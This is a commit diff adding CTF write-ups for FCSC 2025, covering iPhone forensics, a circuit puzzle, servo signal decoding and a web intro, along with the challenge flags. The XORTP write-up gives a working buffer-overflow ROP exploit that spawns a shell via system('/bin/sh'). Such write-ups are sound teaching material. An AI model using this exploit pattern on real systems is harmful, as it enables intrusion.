Adds fcsc 2025 and scale 22x
This commit is contained in:
11
content/writeups/2025/fcsc/_index.md
Normal file
11
content/writeups/2025/fcsc/_index.md
Normal file
@@ -0,0 +1,11 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'FCSC 2025'
|
||||
+++
|
||||
|
||||
FCSC is the France Cyber Security Challenge organised by [ANSSI](https://cyber.gouv.fr/) (agence nationale de la sécurité des systèmes d'information) in order to create the French team for [ECSC](https://ecsc.eu/) (european cyber security challenge).
|
||||
I have been participating casually for the last 2 years but this year I invested a reasonable amount of time into it. Not as much as I would have wanted to due to classes but I still managed to rank 310th in the general ranking and 27th in the junior ranking with 1381 points which is pretty good.
|
||||
|
||||
I solved 21 challenges some of them have writeups some not. Some of them where part of the intro category which consist of easier challenges of various categories they are marked with `(intro)` after the name.
|
||||
|
||||
47
content/writeups/2025/fcsc/forensic/iforensic.md
Normal file
47
content/writeups/2025/fcsc/forensic/iforensic.md
Normal file
@@ -0,0 +1,47 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'iForensic'
|
||||
tags = [ "forensic" ]
|
||||
+++
|
||||
|
||||
iForensic is a serie of challenge where the goal is to study an iphone.
|
||||
Here is the global description of this serie :
|
||||
|
||||
As you pass through customs, the customs officer asks you to hand over your phone and its unlock code. The phone is returned to you a few hours later...
|
||||
Suspicious, you send your phone to ANSSI's CERT-FR for analysis. CERT-FR analysts carry out a collection on the phone, consisting of a sysdiagnose and a backup.
|
||||
|
||||
We are given two tar archives, one containing a backup of the phone and the other what is apparently a crash report.
|
||||
|
||||
# iCrash
|
||||
|
||||
Title: iCrash (intro)
|
||||
Points: 25
|
||||
Number of solves: 661
|
||||
Description: It seems that a flag has hidden itself in the place where crashes are stored on the phone...
|
||||
|
||||
We go to `private/var/mobile/Library/Logs/CrashReporter` and there is a file called `fcsc_intro.txt`.
|
||||
```
|
||||
>>> cat fcsc_intro.txt
|
||||
FCSC{7a1ca2d4f17d4e1aa8936f2e906f0be8}
|
||||
```
|
||||
|
||||
# iDevice
|
||||
|
||||
Title: iDevice
|
||||
Points: 100
|
||||
Number of solves: 602
|
||||
Description:
|
||||
To start with, find some information of interest about the phone: iOS version and phone model identifier.
|
||||
The flag is in the format `FCSC{<model identifier>|<build number>}`. For example, for an iPhone 14 Pro Max running iOS 18.4 (22E240): `FCSC{iPhone15,3|22E240}`.
|
||||
|
||||
|
||||
To find these informations I opened the file named `Info.plist` at the root of the backup which contains informations about the device and found the information I was looking for.
|
||||
```
|
||||
<key>Build Version</key>
|
||||
<string>20A362</string>
|
||||
...
|
||||
<key>Product Type</key>
|
||||
<string>iPhone12,3</string>
|
||||
```
|
||||
So the flag is `FCSC{iPhone12,3|20A362}`.
|
||||
BIN
content/writeups/2025/fcsc/hardware/badd_circuit/baddcircuit.png
Normal file
BIN
content/writeups/2025/fcsc/hardware/badd_circuit/baddcircuit.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 114 KiB |
19
content/writeups/2025/fcsc/hardware/badd_circuit/index.md
Normal file
19
content/writeups/2025/fcsc/hardware/badd_circuit/index.md
Normal file
@@ -0,0 +1,19 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'Badd Circuit (intro)'
|
||||
tags = [ 'hardware' ]
|
||||
+++
|
||||
|
||||
Title: Badd Circuit (intro)
|
||||
Points: 25
|
||||
Number of solves: 512
|
||||
Description:
|
||||
Here is a logic circuit that implements an unknown function. What is the value of the four output bits?
|
||||
The flag format is FCSC{<value>}. For example, if the value to find is 0001, the flag would be FCSC{0001}.
|
||||
|
||||

|
||||
|
||||
Two options here either rebuild the circuit in a digital simulator like the great [digital](https://github.com/hneemann/Digital) (the name is not that great but the software is). Or do it by hand wich is much faster.
|
||||
So I just wrote down what the ouput of each gate is (sometime you can skip some) and got the flag.
|
||||
I forgot to write it down and am too lazy to do it again so let's say that I leave it as an exercice for the reader.
|
||||
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 126 KiB |
158
content/writeups/2025/fcsc/hardware/mechanical_display/index.md
Normal file
158
content/writeups/2025/fcsc/hardware/mechanical_display/index.md
Normal file
@@ -0,0 +1,158 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'Mechanical Display'
|
||||
tags = [ 'hardware' ]
|
||||
+++
|
||||
|
||||
Title: Mechanical Display
|
||||
Points: 238
|
||||
Number of solves: 120
|
||||
Description:
|
||||
One of your team-mates has found a broken device. It looks like a clock, but there is only one hand pointing at some letters. You connect your logic analyser to a signal going to its only motor (mechanical-display.vcd). Can you find out what secret this object contains?
|
||||
Using the device model number, you manage to find a datasheet online (public/mechanical-display-datasheet.pdf).
|
||||
|
||||

|
||||
|
||||
That is a beautiful professional looking datasheet.
|
||||
So according to the datasheet we have a servomotor that receives pulses who last between 0.6ms and 2.4ms, the length of the pulse then maps to an angle of rotation .6 is -90deg so the default 0 position and 2.4ms maps to +90deg.
|
||||
|
||||
We are also given another file `mechanical-display.vcd`. A quick internet search tells us that vcd means [value change dump](https://en.wikipedia.org/wiki/Value_change_dump). Here is a sample of the content.
|
||||
```
|
||||
#0 0!
|
||||
#5290 1!
|
||||
#5489 0!
|
||||
#7290 1!
|
||||
#7489 0!
|
||||
#9291 1!
|
||||
#9489 0!
|
||||
#11291 1!
|
||||
#11490 0!
|
||||
#13291 1!
|
||||
#13490 0!
|
||||
#15292 1!
|
||||
#15490 0!
|
||||
#17292 1!
|
||||
```
|
||||
|
||||
It's easy to understand the format a timestamp is recorded for each change of the input bit (0->1 and 1->0). We can use that to calculate the length of each pulse and get the flag. However after throwing together a small python script it looks like the values are repeated so lets add a character to the flag only when the length of the pulse changes.
|
||||
|
||||
```python
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
flag = ""
|
||||
values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_']
|
||||
|
||||
with open('mechanical-display.vcd', 'r') as file:
|
||||
data = [line.strip() for line in file][11:]
|
||||
|
||||
last = ""
|
||||
first = data[1].split()[0][1:] second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
if char != last:
|
||||
flag += char
|
||||
last = char
|
||||
print(flag)
|
||||
```
|
||||
|
||||
So a quick explanation of the script :
|
||||
The `closest_number` function maps a pulse length to a multiple of 10 between 60 and 240 I then use this to get the correct character from the `values` list by bringing it back to a number between 0 and 19. Then every time the character changes we add the new character to the flag. Simple no ?
|
||||
```
|
||||
>>> ./solve.py
|
||||
FCSC{S232323232323232323232323232323232323232323232323232323232C92323232323232323232323232323232323232323232323232323232327_0232323232323232323232323232323232323232323232323232360AS_903232323232323232323232323232323232323232323232AS2323232323232323232323232323232323232323232323232323_54545454545454545454545B71D23232323232323232323232323232323232323232323232323232C7}
|
||||
```
|
||||
|
||||
Hum there might be a problem with the script. After examinating the values it looks like there is a little change for the same character from time to time. Ok no problem I will just make it so that only when there is a big change in the length of the pulse (at least 0.07ms) I record a new character. Here is the modified loop
|
||||
```python
|
||||
last = -1
|
||||
first = data[1].split()[0][1:]
|
||||
second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
# Change only when big value change
|
||||
if (diff - 7) > last or (diff + 7) < last:
|
||||
last = diff
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
flag += char
|
||||
print(flag)
|
||||
```
|
||||
|
||||
Now run my beautiful script
|
||||
```
|
||||
>>> ./solve.py
|
||||
FCSC{S2C927_02600AS_903AS2_5B71D2C7}
|
||||
```
|
||||
|
||||
And we have the `Incorrect flag`...
|
||||
|
||||
After some serious thinking about changing life to become a goat cheese maker and liquor brewer I went back to work.
|
||||
|
||||
It seems like at some point the value is exactly between 2 and 3 so my script doesn't find the correct values. I looked at the different pulse length and found one that seemed to be less than 0.6ms so I wrote a script to find the min and max values for the pulses :
|
||||
```
|
||||
>>> ./test.py
|
||||
min: 0.54
|
||||
max: 2.41
|
||||
```
|
||||
The minimum is 0.54 not 0.6 as written on the datasheet but that value can only map to a 0 as there is nothing before that. Therefore I made the conclusion that if there was a doubt in which value is beeing pointer I should choose the next round value (0.54 would be 0.6 and 0.85 0.9). To do this I added one line in my `closest_number` function :
|
||||
```python
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
# Make it so the next number gets selected
|
||||
target += 2
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
```
|
||||
|
||||
And now I just have to run it :
|
||||
```python
|
||||
>>> ./solve.py
|
||||
FCSC{S3C937_13601AS_913AS3_5B72D3C7}
|
||||
```
|
||||
|
||||
And there we go it's the correct flag.
|
||||
|
||||
The complete solve script :
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
target += 2
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
flag = ""
|
||||
values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_']
|
||||
|
||||
with open('mechanical-display.vcd', 'r') as file:
|
||||
data = [line.strip() for line in file][11:]
|
||||
|
||||
last = -1
|
||||
first = data[1].split()[0][1:]
|
||||
second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
if (diff - 7) > last or (diff + 7) < last:
|
||||
last = diff
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
flag += char
|
||||
print(flag)
|
||||
```
|
||||
File diff suppressed because it is too large
Load Diff
29
content/writeups/2025/fcsc/hardware/mechanical_display/solve.py
Executable file
29
content/writeups/2025/fcsc/hardware/mechanical_display/solve.py
Executable file
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
target += 2
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
flag = ""
|
||||
values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_']
|
||||
|
||||
with open('mechanical-display.vcd', 'r') as file:
|
||||
data = [line.strip() for line in file][11:]
|
||||
|
||||
last = -1
|
||||
first = data[1].split()[0][1:]
|
||||
second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
if (diff - 7) > last or (diff + 7) < last:
|
||||
last = diff
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
flag += char
|
||||
print(flag)
|
||||
202
content/writeups/2025/fcsc/pwn/xortp.md
Normal file
202
content/writeups/2025/fcsc/pwn/xortp.md
Normal file
@@ -0,0 +1,202 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'XORTP'
|
||||
tags = [ "pwn" ]
|
||||
+++
|
||||
|
||||
Title: XORTP
|
||||
Points: 200
|
||||
Number of solves: 146
|
||||
Description: You can encrypt any file on the system with an unbreakable mechanism worthy of the greatest!
|
||||
|
||||
We are provided with the source code of the challenge and a compiled executable.
|
||||
|
||||
Ok so the code contains 3 functions including a `main`.
|
||||
```c
|
||||
ssize_t
|
||||
get_otp(unsigned char *k, const size_t n)
|
||||
{
|
||||
int fd = open("/dev/urandom", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (read(fd, k, n) < 0) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return n;
|
||||
}
|
||||
```
|
||||
|
||||
This `get_otp` (otp meaning one time password) function reads `n` bytes of data from `/dev/urandom` into the buffer pointed by `k` which provides a random encryption key to the program.
|
||||
|
||||
```c
|
||||
ssize_t
|
||||
read_file(char *fn, unsigned char *m)
|
||||
{
|
||||
int fd = open(fn, O_RDONLY);
|
||||
if (fd < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
ssize_t n = read(fd, m, BUF_SIZE);
|
||||
if (n < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return n;
|
||||
}
|
||||
```
|
||||
|
||||
The `read_file` function does exactly what the name implies : it reads `BUF_SIZE` of data from the file which name is in `fn` into the buffer pointed by `m`.
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#define BUF_SIZE 128
|
||||
|
||||
|
||||
int
|
||||
main()
|
||||
{
|
||||
char filename[BUF_SIZE];
|
||||
unsigned char m[BUF_SIZE];
|
||||
unsigned char k[BUF_SIZE];
|
||||
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
system("ls -ld *");
|
||||
|
||||
printf("Which file would like to encrypt?\n");
|
||||
scanf("%s", filename);
|
||||
|
||||
ssize_t length = read_file(filename, m);
|
||||
if (length < 0) {
|
||||
printf("Error: read_file\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (get_otp(k, length) < 0) {
|
||||
printf("Error: get_otp\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Output the XOR result
|
||||
for (ssize_t i = 0; i < length; ++i) {
|
||||
printf("%02x", m[i] ^ k[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Now for the `main` part this displays the content of the current directory then reads a filename from the user and outputs up to the first 128 bytes xored with a random key.
|
||||
```
|
||||
>>> nc chall.fcsc.fr 2105
|
||||
-r-------- 1 ctf ctf 71 Apr 13 21:36 flag.txt
|
||||
-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp
|
||||
Which file would like to encrypt?
|
||||
flag.txt
|
||||
9eec55fe66cc73bf87ea8d4decd037f715b697ededdfa40f1373b9dc47a0cef4bad96dd14a732ef32dddd5b11c8fcd3a93eb2f38dad24d19c1bca549d44e71b65ac4cfa53858b9
|
||||
```
|
||||
|
||||
Routine checksec for some information.
|
||||
```
|
||||
>>> pwn checksec --file xortp
|
||||
[*] '/home/furtest/files/hacking/ctf/fcsc/pwn/XORTP/xortp'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
|
||||
The encryption logic does not have any obvious flaws however we notice that there is no bound check on the filename `scanf("%s", filename);`
|
||||
The size of the buffer for filename is `BUF_SIZE` = 128
|
||||
Now how can we exploit this ? It is possible to send `filename\x00aaaa...` to input filename and make the file reading work and then trigger a segfault because we overwrote the return pointer.
|
||||
|
||||
Wait `segmentation fault` ? Checksec said that there is a stack canary the error should have been `stack smashing detected`. We can take a quick look at the decompiled binary in ghidra and indeed there is no canary on the main function. (This took me an embarrassingly long time to notice)
|
||||
Once we know that we need to take advantage of our capacity to control the return pointer of `main`. We cannot really take advantage of the functions in the program so we will try to perform a ret2libc and execute `system`.
|
||||
|
||||
One more cool thing that will make everything a lot easier : the binary is statically linked
|
||||
```
|
||||
>>> file xortp
|
||||
xortp: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e63dc8ebb3de92c338be2ed7f0590fbbbabd94f6, for GNU/Linux 3.2.0, not stripped
|
||||
```
|
||||
|
||||
So the binary is statically linked and PIE (position independant executabled) is disabled. Calling function is therefore just a matter of finding their address in the executable.
|
||||
We will to try to call `system("/bin/sh")` to do that we find a `/bin/sh` string at address `0x498213` and the `system` function at address `0x40a3c0`.
|
||||
|
||||
To execute it we need to put a pointer to `/bin/sh` in `rdi` as per the x86-64 ABI.
|
||||
We will use a rop (return oriented programming) gadget to do so.
|
||||
```
|
||||
>>> ropper -f xortp --search "pop rdi; ret;"
|
||||
0x0000000000401f60: pop rdi; ret;
|
||||
```
|
||||
|
||||
So recapitulating where we are :
|
||||
- We have a buffer overflow on the filename input
|
||||
- We can use it to overwrite the return pointer
|
||||
- The binary is statically linked and PIE is disabled
|
||||
- We have the address of a `/bin/sh` string a rop gadget to load it in `rdi` and the address of `system`.
|
||||
|
||||
The next step is to write a nice little pwntools script to put all of that together.
|
||||
|
||||
```python
|
||||
io = start()
|
||||
|
||||
system = 0x40a3c0
|
||||
binsh = 0x498213
|
||||
|
||||
# Find the rop gadget
|
||||
rop = ROP(elf)
|
||||
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
|
||||
|
||||
payload = flat(
|
||||
b"flag.txt\x00",
|
||||
b"A"*(145-2),
|
||||
pack(POP_RDI),
|
||||
pack(binsh),
|
||||
pack(system),
|
||||
pack(0x0)
|
||||
)
|
||||
|
||||
print(io.recvline().decode(), end="")
|
||||
print(io.recvline().decode(), end="")
|
||||
io.sendlineafter(b'Which file would like to encrypt?\n', payload)
|
||||
print(io.recvline().decode(), end="")
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
We run the script and tadam : `[1] 17615 segmentation fault (core dumped)`
|
||||
Hum looks like I forgot to take stack alignment into account (I ran the exploit in gdb to figure it out).
|
||||
|
||||
So I need to make the stack 16 bytes aligned (ie `rsp` must be modulo 16).
|
||||
After manually stepping through the code we can see that one of the first instructions executed by `system` is `push r13` which changes `rsp` by 8 bytes.
|
||||
So instead of jumping to the start of `system` we jump after this `push` and our exploit works.
|
||||
|
||||
```
|
||||
>>> ./exploit.py REMOTE
|
||||
-r-------- 1 ctf ctf 71 Apr 13 21:36 flag.txt
|
||||
-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp
|
||||
bf40d970d624855062f89d3f2e39c3c2c8370fabe53e304fd014e866cfee994353f58dfb3580170a3dd26342659f9035075d4ecd59da8324a7c841a4f2df6b88a40771d95b3fa7
|
||||
$ ls
|
||||
flag.txt
|
||||
xortp
|
||||
$ cat flag.txt
|
||||
FCSC{5f6162c46e47b68ad0d1b4a5e12404ad51431b197e37ff79ef940787fecfb554}
|
||||
```
|
||||
14
content/writeups/2025/fcsc/web/win95_forever.md
Normal file
14
content/writeups/2025/fcsc/web/win95_forever.md
Normal file
@@ -0,0 +1,14 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'Win95 Forever (intro)'
|
||||
tags = [ "web" ]
|
||||
+++
|
||||
|
||||
Title: Win95 Forever (intro)
|
||||
Points: 25
|
||||
Number of solves: 1478
|
||||
Description: Bienvenue dans les années 90 !
|
||||
|
||||
We are presented with a simple web page and the flag is in the source code :)
|
||||
`FCSC{d31df42c489570dae488fa071326510903ef452dcde00a2dd22447c7d15ae104}`
|
||||
Reference in New Issue
Block a user